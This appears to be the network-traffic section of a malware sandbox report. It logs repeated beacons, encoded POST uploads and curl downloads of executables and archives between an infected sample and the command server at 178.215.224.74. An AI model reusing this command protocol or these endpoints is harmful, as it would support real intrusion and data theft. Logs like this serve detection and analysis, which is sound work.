55 7a 4d 44 70 48 52 45 55 38 4e 43 78 34 62 6d 56 5a 51 6c 38 7a 4d 6a 41 6f 4f 54 67 79 4d 7a 45 6f 4d 54 63 34 4c 6a 49 78 4e 79 59 77 4d 6a 51 75 4e 54 5a 62 51 46 38 25 33 44 Data Ascii: jspo=34&jwvs=4CA966315CCC70F4BEF0FE322EDE46&melq=MTI3KDkyMipLOF5dc2dwcV5jbmZtZnteQ3ByRGF0YVxSbWlvaW5nXkZvbHJoaW5GdWVwcV40Q0M5NDQxMTdBQUM3MEQ8QEVGOERHOzIwR0ZHNjRfZG4mNXhbQl0xMDAqMTI4MzEqMTU6LjIzNS4yMDQmNzZZQF0zMjAoMzAwKEE6XFVxbXBzXGluZGducV5DcnJGYXZpVFBtYW9pbmdcRG9ueGppbkR3b3BzXjRDQTs2PjMzN0NDQTcyRDZCR0QyRkUzMDpHREU8NCx4bmVZQl8zMjAoOTgyMzEoMTc4LjIxNyYwMjQuNTZbQF8%3D
Source: global traffic	HTTP traffic detected: POST /v10/ukyh.php HTTP/1.1Accept: text/*Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5Host: 178.215.224.74Content-Length: 111Cache-Control: no-cacheData Raw: 6a 73 70 6f 3d 33 34 26 6a 77 76 73 3d 34 43 41 39 36 36 33 31 35 43 43 43 37 30 46 34 42 45 46 30 46 45 33 32 32 45 44 45 34 36 26 6d 65 6c 71 3d 4d 54 41 7a 4b 44 6b 79 4d 6a 45 25 32 46 4b 46 6c 49 58 54 4d 79 4d 69 67 7a 4d 6a 41 7a 4f 53 49 7a 4e 54 67 73 4d 6a 45 31 4c 6a 49 79 4e 69 59 31 4e 46 74 41 58 77 25 33 44 25 33 44 Data Ascii: jspo=34&jwvs=4CA966315CCC70F4BEF0FE322EDE46&melq=MTAzKDkyMjE%2FKFlIXTMyMigzMjAzOSIzNTgsMjE1LjIyNiY1NFtAXw%3D%3D
Source: global traffic	HTTP traffic detected: POST /v10/ukyh.php HTTP/1.1Accept: text/*Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5Host: 178.215.224.74Content-Length: 111Cache-Control: no-cacheData Raw: 6a 73 70 6f 3d 33 34 26 6a 77 76 73 3d 34 43 41 39 36 36 33 31 35 43 43 43 37 30 46 34 42 45 46 30 46 45 33 32 32 45 44 45 34 36 26 6d 65 6c 71 3d 4d 54 41 7a 4b 44 6b 79 4d 6a 45 25 32 46 4b 46 6c 49 58 54 4d 79 4d 69 67 7a 4d 6a 41 7a 4f 53 49 7a 4e 54 67 73 4d 6a 45 31 4c 6a 49 79 4e 69 59 31 4e 46 74 41 58 77 25 33 44 25 33 44 Data Ascii: jspo=34&jwvs=4CA966315CCC70F4BEF0FE322EDE46&melq=MTAzKDkyMjE%2FKFlIXTMyMigzMjAzOSIzNTgsMjE1LjIyNiY1NFtAXw%3D%3D
Source: global traffic	HTTP traffic detected: POST /v10/ukyh.php HTTP/1.1Accept: text/*Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5Host: 178.215.224.74Content-Length: 111Cache-Control: no-cacheData Raw: 6a 73 70 6f 3d 33 34 26 6a 77 76 73 3d 34 43 41 39 36 36 33 31 35 43 43 43 37 30 46 34 42 45 46 30 46 45 33 32 32 45 44 45 34 36 26 6d 65 6c 71 3d 4d 54 41 7a 4b 44 6b 79 4d 6a 45 25 32 46 4b 46 6c 49 58 54 4d 79 4d 69 67 7a 4d 6a 41 7a 4f 53 49 7a 4e 54 67 73 4d 6a 45 31 4c 6a 49 79 4e 69 59 31 4e 46 74 41 58 77 25 33 44 25 33 44 Data Ascii: jspo=34&jwvs=4CA966315CCC70F4BEF0FE322EDE46&melq=MTAzKDkyMjE%2FKFlIXTMyMigzMjAzOSIzNTgsMjE1LjIyNiY1NFtAXw%3D%3D

Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.252
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.252
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.252
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.252
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.252
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74
Source: unknown	TCP traffic detected without corresponding DNS query: 178.215.224.74

Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.252User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=5 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=35&xvgj=YXp2dy5leGU%3D HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=31 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=7 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=10&melq=1 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?gi HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=33&jwvs=4CA966315CCC70F4BEF0FE322EDE46 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=3&jwvs=4CA966315CCC70F4BEF0FE322EDE46&vprl=2 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?gi HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=3&jwvs=4CA966315CCC70F4BEF0FE322EDE46&vprl=2 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.252User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=35&xvgj=cXl1cC56aXA%3D HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=8 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=2021&jwvs=4CA966315CCC70F4BEF0FE322EDE46 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=3002&melq=d460800e784d2ac37a5620f6b348df6f6&jwvs=4CA966315CCC70F4BEF0FE322EDE46 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /*
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=2016&jwvs=4CA966315CCC70F4BEF0FE322EDE46&bsxa=1 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=3002&melq=79019141f392e1d4f8c60697fd9f5a0e2&jwvs=4CA966315CCC70F4BEF0FE322EDE46 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /*
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=2022&jwvs=4CA966315CCC70F4BEF0FE322EDE46 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /

Source: global traffic

DNS traffic detected: DNS query: EaUMrTLEnhJoi.EaUMrTLEnhJoi

Source: unknown

